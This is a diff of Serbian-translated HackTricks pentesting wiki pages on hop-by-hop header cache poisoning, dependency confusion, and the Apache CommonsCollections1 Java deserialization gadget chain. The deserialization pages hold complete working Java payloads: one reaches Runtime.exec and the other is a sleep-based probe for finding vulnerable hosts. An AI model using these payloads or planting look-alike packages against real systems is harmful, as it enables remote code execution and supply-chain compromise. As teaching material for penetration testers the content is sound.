1. Napadač šalje zahtev web aplikaciji sa hop-by-hop zaglavljem koje ne bi trebalo da se kešira (npr. `Connection: close, Cookie`).
|
||||
2. Loše konfigurisan server za keširanje ne uklanja hop-by-hop zaglavlje i kešira odgovor specifičan za napadačevu sesiju.
|
||||
3. Budući korisnici koji traže isti resurs dobijaju keširani odgovor, koji je bio prilagođen za napadača, potencijalno dovodeći do preuzimanja sesije ili izlaganja osetljivih informacija.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,60 @@
|
|||
# Dependency Confusion
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
U suštini, ranjivost dependency confusion se javlja kada projekat koristi biblioteku sa **pogrešno napisanim** imenom, **ne postoji** ili sa **nedefinisanim brojem verzije**, a korišćeni repozitorijum dozvoljava da se **prikupljaju ažurirane verzije iz javnih** repozitorijuma.
|
||||
Ukratko, ranjivost zavisnosti se javlja kada projekat koristi biblioteku sa **pogrešno napisanim** imenom, **nepostojećom** ili sa **neodređenom verzijom** i korišćeni repozitorij zavisnosti omogućava da se **prikupe ažurirane verzije iz javnih** repozitorija.
|
||||
|
||||
* **Pogrešno napisano**: Uvoziti **`reqests`** umesto `requests`
|
||||
* **Ne postoji**: Uvoziti `company-logging`, internu biblioteku koja **više ne postoji**
|
||||
* **Nedefinisana verzija**: Uvoziti **internu** **postojeću** biblioteku `company-requests`, ali repozitorijum proverava **javne repozitorijume** da vidi da li postoje **veće verzije**.
|
||||
* **Pogrešno napisano**: Uvoz **`reqests`** umesto `requests`
|
||||
* **Nepostojeće**: Uvoz `company-logging`, interne biblioteke koja **više ne postoji**
|
||||
* **Neodređena verzija**: Uvoz **interne** **postojeće** `company-requests` biblioteke, ali repozitorij proverava **javne repozitorije** da vidi da li postoje **veće verzije**.
|
||||
|
||||
## Eksploatacija
|
||||
## Exploitation
|
||||
|
||||
{% hint style="warning" %}
|
||||
U svim slučajevima, napadač samo treba da objavi **zlonamerni paket sa imenom** biblioteka koje koristi kompanija žrtva.
|
||||
U svim slučajevima napadaču je potrebno samo da objavi **zloćudni paket sa imenom** biblioteka koje koristi žrtvinska kompanija.
|
||||
{% endhint %}
|
||||
|
||||
### Pogrešno napisano & Ne postoji
|
||||
### Misspelled & Inexistent
|
||||
|
||||
Ako vaša kompanija pokušava da **uvozi biblioteku koja nije interna**, veoma je verovatno da će repozitorijum biblioteka tražiti tu biblioteku u **javim repozitorijumima**. Ako je napadač kreirao tu biblioteku, vaš kod i mašine koje je pokreću su veoma verovatno kompromitovane.
|
||||
Ako vaša kompanija pokušava da **uvozi biblioteku koja nije interna**, vrlo verovatno će repozitorij biblioteka tražiti u **javnim repozitorijima**. Ako je napadač to stvorio, vaš kod i mašine koje rade su vrlo verovatno kompromitovani.
|
||||
|
||||
### Nedefinisana verzija
|
||||
### Unspecified Version
|
||||
|
||||
Veoma je često da developeri **ne specificiraju nijednu verziju** korištene biblioteke, ili specificiraju samo **glavnu verziju**. Tada, interpretator će pokušati da preuzme **najnoviju verziju** koja odgovara tim zahtevima.\
|
||||
Ako je biblioteka **poznata spoljna biblioteka** (kao što je python `requests`), **napadač ne može mnogo da uradi**, jer neće moći da kreira biblioteku nazvanu `requests` (osim ako je originalni autor).\
|
||||
Međutim, ako je biblioteka **interna**, kao što je `requests-company` u ovom primeru, ako **repozitorijum biblioteke** dozvoljava da **proveri nove verzije i spolja**, tražiće noviju verziju dostupnu javno.\
|
||||
Dakle, ako **napadač zna** da kompanija koristi biblioteku `requests-company` **verziju 1.0.1** (dozvoljava manje ažuriranja). Može **objaviti** biblioteku `requests-company` **verziju 1.0.2** i kompanija će **koristiti tu biblioteku umesto** interne.
|
||||
Veoma je uobičajeno da programeri **ne specificiraju nijednu verziju** korišćene biblioteke, ili specificiraju samo **glavnu verziju**. Tada će interpreter pokušati da preuzme **najnoviju verziju** koja odgovara tim zahtevima.\
|
||||
Ako je biblioteka **poznata spoljna biblioteka** (kao što je python `requests`), **napadač ne može mnogo da uradi**, jer neće moći da stvori biblioteku pod imenom `requests` (osim ako nije originalni autor).\
|
||||
Međutim, ako je biblioteka **interna**, kao što je `requests-company` u ovom primeru, ako **repo biblioteke** dozvoljava da se **proveravaju nove verzije i spolja**, tražiće noviju verziju koja je javno dostupna.\
|
||||
Dakle, ako **napadač zna** da kompanija koristi `requests-company` biblioteku **verzija 1.0.1** (dozvoljava manje ažuriranja). Može **objaviti** biblioteku `requests-company` **verzija 1.0.2** i kompanija će **koristiti tu biblioteku umesto** interne.
|
||||
|
||||
## AWS Popravka
|
||||
## AWS Fix
|
||||
|
||||
Ova ranjivost je pronađena u AWS **CodeArtifact** (pročitajte [**detalje u ovom blog postu**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
||||
AWS je ovo popravio omogućavajući da se specificira da li je biblioteka interna ili eksterna, kako bi se izbeglo preuzimanje internih zavisnosti iz eksternih repozitorijuma.
|
||||
AWS je to ispravio omogućavajući da se specificira da li je biblioteka interna ili eksterna, kako bi se izbeglo preuzimanje internih zavisnosti iz spoljnih repozitorija.
|
||||
|
||||
## Pronalaženje Ranjivih Biblioteka
|
||||
## Finding Vulnerable Libraries
|
||||
|
||||
U [**originalnom postu o dependency confusion**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) autor je pretraživao hiljade izloženih package.json fajlova koji sadrže zavisnosti projekata u JavaScript-u.
|
||||
U [**originalnom postu o zavisničkoj konfuziji**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) autor je pretraživao hiljade izloženih package.json fajlova koji sadrže zavisnosti javascript projekata.
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
@ -60,14 +63,17 @@ U [**originalnom postu o dependency confusion**](https://medium.com/@alex.birsan
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repozitorijum](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repozitorijum](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Payload za CommonsCollection1 - Java Transformers za Rutime exec() i Thread Sleep
|
||||
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Java Transformers za Rutime exec()
|
||||
## Java Transformers to Rutime exec()
|
||||
|
||||
Na nekoliko mesta možete pronaći java deserialization payload koji koristi transformere iz Apache common collections, kao što je sledeći:
|
||||
Na nekoliko mesta možete pronaći java deserialization payload koji koristi transformere iz Apache common collections kao što je sledeći:
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -52,10 +55,10 @@ lazyMap.get("anything");
|
|||
}
|
||||
}
|
||||
```
|
||||
Ako ne znate ništa o java deserializacijskim payloadima, može biti teško shvatiti zašto će ovaj kod izvršiti kalkulator.
|
||||
Ako ne znate ništa o java deserialization payload-ima, može biti teško shvatiti zašto će ovaj kod izvršiti kalkulator.
|
||||
|
||||
Prvo, trebate znati da je **Transformer u Javi** nešto što **prima klasu** i **transformira je u drugu**.\
|
||||
Također je zanimljivo znati da je **payload** koji se **izvršava** ovdje **ekvivalentan**:
|
||||
Prvo što treba da znate je da je **Transformer u Javi** nešto što **prima klasu** i **transformiše je u drugu**.\
|
||||
Takođe, zanimljivo je znati da je **payload** koji se **izvršava** ovde **ekvivalentan**:
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
```
|
||||
|
@ -65,9 +68,9 @@ Ili **tačnije**, ono što će biti izvršeno na kraju biće:
|
|||
```
|
||||
### Kako
|
||||
|
||||
Dakle, kako je prvi payload predstavljen ekvivalentan tim "jednostavnim" jednolinijskim naredbama?
|
||||
Dakle, kako je prvi payload predstavljen ekvivalentan onim "jednostavnim" jednosmernim linijama?
|
||||
|
||||
**Prvo**, možete primetiti u payloadu da je **lanac (niz) transformacija kreiran**:
|
||||
**Prvo** što možete primetiti u payload-u je da je **niz (niz) transformacija kreiran**:
|
||||
```java
|
||||
String[] command = {"calc.exe"};
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
|
@ -94,15 +97,15 @@ command
|
|||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
```
|
||||
Ako pročitate kod, primetićete da ako na neki način povežete transformaciju niza, možete izvršiti proizvoljne komande.
|
||||
Ako pročitate kod, primetićete da ako nekako povežete transformaciju niza, mogli biste da izvršite proizvoljne komande.
|
||||
|
||||
Dakle, **kako se te transformacije povezuju?**
|
||||
Dakle, **kako su te transformacije povezane?**
|
||||
```java
|
||||
Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
lazyMap.get("anything");
|
||||
```
|
||||
U poslednjem delu payload-a možete videti da je kreiran **Map objekat**. Zatim se funkcija `decorate` izvršava iz `LazyMap` sa map objektom i povezanim transformatorima. Iz sledećeg koda možete videti da će to rezultirati kopiranjem povezanih transformatora unutar atributa `lazyMap.factory`:
|
||||
U poslednjem delu payload-a možete videti da je **Map objekat kreiran**. Zatim, funkcija `decorate` se izvršava iz `LazyMap` sa map objektom i povezanim transformatorima. Iz sledećeg koda možete videti da će to uzrokovati da se **povezani transformatori** kopiraju unutar `lazyMap.factory` atributa:
|
||||
```java
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
|
@ -112,9 +115,9 @@ throw new IllegalArgumentException("Factory must not be null");
|
|||
this.factory = factory;
|
||||
}
|
||||
```
|
||||
I onda se izvršava veliko finale: `lazyMap.get("bilo šta");`
|
||||
I zatim se izvršava veliki finale: `lazyMap.get("anything");`
|
||||
|
||||
Ovo je kod funkcije `get`:
|
||||
Ovo je kod `get` funkcije:
|
||||
```java
|
||||
public Object get(Object key) {
|
||||
if (map.containsKey(key) == false) {
|
||||
|
@ -125,7 +128,7 @@ return value;
|
|||
return map.get(key);
|
||||
}
|
||||
```
|
||||
I ovo je kod funkcije `transform`.
|
||||
I ovo je kod funkcije `transform`
|
||||
```java
|
||||
public Object transform(Object object) {
|
||||
for (int i = 0; i < iTransformers.length; i++) {
|
||||
|
@ -134,11 +137,11 @@ object = iTransformers[i].transform(object);
|
|||
return object;
|
||||
}
|
||||
```
|
||||
Dakle, zapamtite da smo unutar **fabrike** sačuvali **`chainedTransformer`** i unutar funkcije **`transform`** prolazimo kroz sve te povezane transformere i izvršavamo ih jedan za drugim. Zanimljivo je da **svaki transformer koristi `object`** kao ulaz, a **objekat je izlaz iz poslednjeg izvršenog transformera**. Stoga, **svi transformeri su povezani i izvršavaju zlonamerni payload**.
|
||||
Dakle, zapamtite da smo unutar **factory** sačuvali **`chainedTransformer`** i unutar **`transform`** funkcije **prolazimo kroz sve te povezane transformere** i izvršavamo ih jedan za drugim. Zanimljivo je da **svaki transformer koristi `object`** **kao ulaz** i **object je izlaz iz poslednjeg izvršenog transformera**. Stoga, **svi transformi su povezani i izvršavaju zlonamerni payload**.
|
||||
|
||||
### Rezime
|
||||
### Summary
|
||||
|
||||
Na kraju, zbog načina na koji lazyMap upravlja povezanim transformatorima unutar metode get, to je kao da izvršavamo sledeći kod:
|
||||
Na kraju, zbog načina na koji lazyMap upravlja povezanim transformerima unutar get metode, kao da izvršavamo sledeći kod:
|
||||
```java
|
||||
Object value = "someting";
|
||||
|
||||
|
@ -159,15 +162,15 @@ new Class[]{String.class},
|
|||
command
|
||||
).transform(value); //(4)
|
||||
```
|
||||
_Napomena kako je `value` ulaz svake transformacije i izlaz prethodne transformacije, omogućavajući izvršavanje jednog reda koda:_
|
||||
_Napomena kako je `value` ulaz svake transformacije i izlaz prethodne transformacije, što omogućava izvršavanje jedne linije:_
|
||||
```java
|
||||
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
|
||||
```
|
||||
Napomena da je ovde objašnjeno koje su "gadžeti" korišćeni za "ComonsCollections1" payload. Ali nije objašnjeno kako se sve to pokreće. Možete videti [ovde da **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), kako bi izvršio ovaj payload, koristi objekat `AnnotationInvocationHandler` jer kada se ovaj objekat deserijalizuje, pozvaće se funkcija `payload.get()` koja će izvršiti ceo payload.
|
||||
Napomena da je ovde **objašnjeno kako se koriste gadgeti** za **ComonsCollections1** payload. Ali je ostavljeno **kako sve ovo počinje da se izvršava**. Možete videti [ovde da **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), kako bi izvršio ovaj payload, koristi `AnnotationInvocationHandler` objekat jer **kada se ovaj objekat deserializuje**, on će **pozvati** funkciju `payload.get()` koja će **izvršiti ceo payload**.
|
||||
|
||||
## Java Thread Sleep
|
||||
|
||||
Ovaj payload može biti koristan za identifikaciju da li je veb ranjiv, jer će izvršiti pauzu ako jeste.
|
||||
Ovaj payload bi mogao biti **koristan za identifikaciju da li je web ranjiv jer će izvršiti sleep ako jeste**.
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
@ -210,20 +213,23 @@ lazyMap.get("anything");
|
|||
}
|
||||
}
|
||||
```
|
||||
## Još Gadgeta
|
||||
## Više gadgeta
|
||||
|
||||
Možete pronaći više gadgeta ovde: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# PDF Upload - XXE i CORS zaobilaženje
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Proverite [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
